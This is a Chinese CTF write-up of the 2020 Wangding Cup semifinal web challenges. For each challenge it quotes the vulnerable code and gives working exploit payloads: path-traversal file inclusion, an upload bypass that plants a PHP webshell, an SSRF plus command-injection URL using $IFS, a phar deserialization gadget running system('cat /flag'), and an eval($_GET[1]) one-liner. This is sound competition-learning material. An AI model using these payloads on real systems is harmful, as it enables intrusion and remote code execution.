2020第二届网鼎杯半决赛Web题目writeup

 

有幸参加了第二届网鼎杯的决赛和半决赛,被各路神仙锤爆。赛后对几道web题目进行了整理和复现,下面分享一下思路和方法,本人才疏学浅,如有错误,还请师傅们批评指正。

Day 1

0x01 AliceWebsite

应该是最简单的题了,一上来就被秒了,代码很简单。在index.php中有一个毫无过滤的本地文件包含,

//index.php
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <title>Wecome to Alice's Website!</title>
    <link href="./bootstrap/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <nav class="navbar navbar-inverse navbar-fixed-top">
        <div class="container">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                    <span class="sr-only">Alice's Website</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <a class="navbar-brand" href="index.php?action=home.php">Alice's Website</a>
            </div>
            <div id="navbar" class="collapse navbar-collapse">
                <ul class="nav navbar-nav">
                    <li class="active"><a href="index.php?action=home.php">Home</a></li>
                    <li><a href="index.php?action=about.php">About</a></li>
                </ul>
            </div>
        </div>
    </nav>
    <div class="container" style="padding-top: 5%">
        <?php
        $action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
        if (file_exists($action)) {
            include $action;
        } else {
            echo "File not found!";
        }
        ?>
    </div>
</body>
</html>

直接http://ip/action=../../../../../../flag 就可以。

0x02 faka

题目给了源码,看了是一个什么自动发卡平台,首页是下面这样

基于thinkphp写的,记得之前在先知上看过一篇分析的文章,漏洞点在application/admin/controller/Plugs.php

首先通过$this->request->file()来获取上传的文件信息,$this->request->file()是thinkphp实现的用来获取上传文件信息的函数,详细代码如下:

/**
     * 获取上传的文件信息
     * @access public
     * @param string|array $name 名称
     * @return null|array|\think\File
     */
    public function file($name = '')
    {
        if (empty($this->file)) {
            $this->file = isset($_FILES) ? $_FILES : [];
        }
        if (is_array($name)) {
            return $this->file = array_merge($this->file, $name);
        }
        $files = $this->file;
        if (!empty($files)) {
            // 处理上传文件
            $array = [];
            foreach ($files as $key => $file) {
                if (is_array($file['name'])) {
                    $item  = [];
                    $keys  = array_keys($file);
                    $count = count($file['name']);
                    for ($i = 0; $i < $count; $i++) {
                        if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
                            continue;
                        }
                        $temp['key'] = $key;
                        foreach ($keys as $_key) {
                            $temp[$_key] = $file[$_key][$i];
                        }
                        $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
                    }
                    $array[$key] = $item;
                } else {
                    if ($file instanceof File) {
                        $array[$key] = $file;
                    } else {
                        if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
                            continue;
                        }
                        $array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
                    }
                }
            }
            if (strpos($name, '.')) {
                list($name, $sub) = explode('.', $name);
            }
            if ('' === $name) {
                // 获取全部文件
                return $array;
            } elseif (isset($sub) && isset($array[$name][$sub])) {
                return $array[$name][$sub];
            } elseif (isset($array[$name])) {
                return $array[$name];
            }
        }
        return;
    }

然后通过pathinfo()获取上传文件的扩展名,如果扩展名为php或者不在允许上传的类型中的话,会返回文件上传类型受限;然后将POST传的md5值以十六位一组,进行切片,之后分别将这两组字符串作为路径和文件名,最后在加上之前得到的文件扩展名赋值给$filename;在上传文件之前还有一个Token验证,会判断POST传的token值是否为$filename拼接上session_id()md5值,经过测试这里的session_id()返回的是空字符串,而且我们知道$filename,所以可以很容易的绕过这里的检测;然后看关键的部分,跟进move()函数,

/**
     * 移动文件
     * @access public
     * @param  string      $path     保存路径
     * @param  string|bool $savename 保存的文件名 默认自动生成
     * @param  boolean     $replace  同名文件是否覆盖
     * @return false|File
     */
    public function move($path, $savename = true, $replace = true)
    {
        // 文件上传失败,捕获错误代码
        if (!empty($this->info['error'])) {
            $this->error($this->info['error']);
            return false;
        }

        // 检测合法性
        if (!$this->isValid()) {
            $this->error = 'upload illegal files';
            return false;
        }

        // 验证上传
        if (!$this->check()) {
            return false;
        }

        $path = rtrim($path, DS) . DS;
        // 文件保存命名规则
        $saveName = $this->buildSaveName($savename);
        $filename = $path . $saveName;

        // 检测目录
        if (false === $this->checkPath(dirname($filename))) {
            return false;
        }

        // 不覆盖同名文件
        if (!$replace && is_file($filename)) {
            $this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
            return false;
        }

        /* 移动文件 */
        if ($this->isTest) {
            rename($this->filename, $filename);
        } elseif (!move_uploaded_file($this->filename, $filename)) {
            $this->error = 'upload write error';
            return false;
        }

        // 返回 File 对象实例
        $file = new self($filename);
        $file->setSaveName($saveName)->setUploadInfo($this->info);

        return $file;
    }

前面是对文件的一些检测,在$this->check()函数中会调用checkImg()函数来检查上传的文件是否真的为图片,

通过检测后会进入buildSaveName($savename),跟进

/**
     * 获取保存文件名
     * @access protected
     * @param  string|bool $savename 保存的文件名 默认自动生成
     * @return string
     */
    protected function buildSaveName($savename)
    {
        // 自动生成文件名
        if (true === $savename) {
            if ($this->rule instanceof \Closure) {
                $savename = call_user_func_array($this->rule, [$this]);
            } else {
                switch ($this->rule) {
                    case 'date':
                        $savename = date('Ymd') . DS . md5(microtime(true));
                        break;
                    default:
                        if (in_array($this->rule, hash_algos())) {
                            $hash     = $this->hash($this->rule);
                            $savename = substr($hash, 0, 2) . DS . substr($hash, 2);
                        } elseif (is_callable($this->rule)) {
                            $savename = call_user_func($this->rule);
                        } else {
                            $savename = date('Ymd') . DS . md5(microtime(true));
                        }
                }
            }
        } elseif ('' === $savename || false === $savename) {
            $savename = $this->getInfo('name');
        }

        if (!strpos($savename, '.')) {
            $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
        }

        return $savename;
    }

这里的$savename是我们move()函数的第二个参数,就是前面的$md5[1],经过buildSaveName($savename)后会直接返回$md5[1],然后拼接在$path的后面做为文件名,后面直接调用move_uploaded_file()将文件移动到$path,在这个过程中$ma5[1]是可控的,所以我们可以直接上传php文件。首先生成带木马的图片,然后生成token值,

php > echo md5("aa");
4124bc0a9335c27f086f24ba207a4912
echo md5("4124bc0a9335c27f/086f24ba207a.php.png");
bf9b89e7c8f5f1159d8bd7aaaa9c795d

虽然显示文件上传失败,但实际是成功的

0x03 web_babyJS

题目关键的代码如下

//routes/index.js
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
    res.json({});
});

router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
    var u=req.query.url.replace(/[\"\']/ig,'');
    console.log(url.parse(u).href);
    let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
    console.log(log);
    child_process.exec(log);
    res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});


router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
    var urlObject=url.parse(u);
    if(blacklist.indexOf(urlObject.hostname) == -1){
        var dest=urlObject.href;
        request(dest,(err,result,body)=>{
            res.json(body);
        })
    }
    else{
        res.json([]);
    }
    }
});
module.exports = router;

首先在GET方式的debug路由中,存在可控的命令执行,但是需要req.ip为黑名单的ip,那么就可以确定这是一道SSRF题目了,然后看POST方式debug路由,可知这道题目的解题方法应该是通过POST访问debug路由,传递url参数,使url参数经过url.parse()处理后对应的hostname不在黑名单中,然后调用request()去访问url.parse处理后的href,这里由于黑名单过滤不全,可以通过http://2130706433/http://0177.0.0.01/等方式绕过;之后就是要闭合单引号,执行多条命令了,经过测试发现,在@符号之前输入%27,会经过url解码变成单引号,如下

var url=require('url');

var request=require('request');
var u = "http://aaa%27@:8000%27qq.com";

urlObject=url.parse(u);
console.log(urlObject);

/*
Url {
  protocol: 'http:',
  slashes: true,
  auth: 'aaa\'',
  host: ':8000',
  port: '8000',
  hostname: '',
  hash: null,
  search: null,
  query: null,
  pathname: '%27qq.com',
  path: '%27qq.com',
  href: 'http://aaa\'@:8000/%27qq.com' }
  */

之后就是执行命令了,但是没有回显,可以尝试将flag写入文件中,经过测试发现>}和空格符等字符都会被编码,就不能利用cat>来写入文件了,所以最后利用cpflag复制到/tmp/log/中,然后直接就可以直接读FLAG了。
payload: http://2130706433/debug?url=http://%2527@1;cp$IFS$9/flag$IFS$9/tmp/log;%23

 

Day2

0x01 game_exp

审计源码发现有下面两个反序列化利用点,

通过info.php,可以看到服务器段开启了soap扩展,可以进行SSRF,执行命令。然后寻找可以触发反序列化的点,在login/register.php中存在一个file_exists()函数,这个函数可以触发phar文件的反序列化,审计register.php

上传的图片限制死了类型只能为图片,但是文件名和路径是可控的,可以先上传phar文件,然后再注册一遍用户,对应的用户名为phar://加上之前注册的用户名,然后在file_exists()函数触发反序列化,首先生成phar文件,

<?php
class AnyClass{
    function __construct()
    {
        $this -> output = 'system("cat /flag");';;
    }
}
$object = new AnyClass();
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test');  //添加要压缩的文件
$phar -> setMetadata($object);  //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

修改后缀名后上传

然后继续注册一个phar://asdf的用户去触发反序列化

0x02 novel

打开靶机是下面这样的界面

可以上传和备份文件,然后审计源码,

//index.php
<?php
defined('DS') or define('DS', DIRECTORY_SEPARATOR);
define('APP_DIR', realpath('./'));
error_reporting(0);
function autoload_class($class){
    foreach(array('class') as $dir){
        $file = APP_DIR.DS.$dir.DS.$class.'.class.php';
         //echo $file;
        if(file_exists($file)){
            //echo $file;
            include_once $file;
        }
    }
}

function upload($config){
    $upload_config['class']=$config['class'];
    foreach(array('file','method') as $param){
        $upload_config['data'][$param]=$config[$param];
    }
    // var_dump($upload_config);
    return $upload_config;
}

function home($config){
    $home_config['class']=$config['class'];
    $home_config['data']['method']=$config['method'];
    return $home_config;
}

function back($config){
    $copy_config['class']=$config['class'];
    $copy_config['data']['method']=$config['method'];
    $copy_config['data']['filename']=$config['post']['filename'];
    $copy_config['data']['dest']=$config['post']['dest'];
    return $copy_config;
}

spl_autoload_register('autoload_class');

$request=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/';

$config['get']=$_GET;
$config['post']=$_POST;
$config['file']=$_FILES;

$parameters=explode('/',explode('?', $request)[0]);
$class=(isset($parameters[1]) && !empty($parameters[1]))?$parameters[1]:'home';
 //echo $class;
$method=(isset($parameters[2]) && !empty($parameters[2]))?$parameters[2]:'index';
 //echo $method;

$config['class']=$class;
$config['method']=$method;


if(!empty($class)){
    if(in_array($class, array('upload','home','back'))){
        $class_init_config=call_user_func($class, $config);
        new $class_init_config['class']($class_init_config['data']);
    }else{
        header('Location: /');
    }
}

index.php中实现了有一个类自动加载,可以以http://ip/class/method的形式去调用对应类的函数,然后在class文件夹中有三个文件,分别为home.class.phpupload.class.phpback.class.php,分别对应主页、上传和备份功能的实现,接下来审计这三个文件,首先看文件上传的实现,

文件被上传到profile目录,文件名可控,但是后缀限制死了只能用txt,然后看备份功能的实现,

//back.class.php
<?php
class back{
    public $filename;
    public $method;
    public $dest;

    function __construct($config){
        $this->filename=$config['filename'];
        $this->method=$config['method'];
        $this->dest=$config['dest'];
        if(in_array($this->method, array('backup'))){
            $this->{$this->method}($this->filename, $this->dest);
        }else{
                header('Location: /');
        }
    }

    public function backup($filename, $dest){
        $filename='profile/'.$filename;
        if(file_exists($filename)){
            $content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);
            $password=$this->random_code();
            $r['path']=$this->_write($dest, $this->_create($password, $content));
            $r['password']=$password;
            echo json_encode($r);
        }
    }

    /* 先验证保证为备份文件后,再保存为私藏文件 */
    private function _write($dest, $content){
        $f1=$dest;
        $f2='private/'.$this->random_code(10).".php";

        $stream_f1 = fopen($f1, 'w+');
        fwrite($stream_f1, $content);
        rewind($stream_f1);
        $f1_read=fread($stream_f1, 3000);

        preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);

        if(!empty($matches[0])){
            copy($f1,$f2);
            fclose($stream_f1);   
            return $f2;     
        }else{
            fwrite($stream_f1, '<?php exit(); ?>');
            fclose($stream_f1);
            return false;
        }

    }

    private function _create($password, $content){
        $_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
        return $_content;
    }

    private function random_code($length = 8,$chars = null){
        if(empty($chars)){
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        }
        $count = strlen($chars) - 1;
        $code = '';
        while( strlen($code) < $length){
            $code .= substr($chars,rand(0,$count),1);
        }
        return $code;
    }
}

阅读代码可以发现,程序首先将$filename拼接到profile/,然后检测文件是否存在,若存在,将文件内容读出来进行html编码,然后生成一个随机的字符串作为读取文件内容的密码,之后调用_create()函数,将密码和html编码后的文件内容,拼接到'<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); '里,之后调用_write()函数,将上面这段php代码写进private目录,然后对文件内容内容进行正则表达式的检测,若通过检测,将文件内容写进$dest,并复制一份到$f2,若没有通过检测,则在$dest中写入<?php exit(); ?>

理清程序大体流程后,大致的攻击思路就是上传一个txt的文件,然后再通过back生成php文件,开始尝试使用"?>闭合前面,但是不能成功,htmlspecialchars()会将双引号和尖括号编码,之后采用复杂语法,{${phpinfo()}}进行rce。首先上传一个内容为{${eval($_GET[1])}}的txt,

之后调用backbackup()函数将一句话写进php文件,

然后访问

经过这次比赛后,感觉一些知识点的积累还是远远不够的,很多web题目都没有修复成功(太菜了),还有一道java题肝不动,上面的每道题应该都不止我分享的这种做法,欢迎师傅们评论分享其他骚的思路、修复的骚操作或者是那道java题的做法。另外有需要源码的同学可以联系我哈。

(完)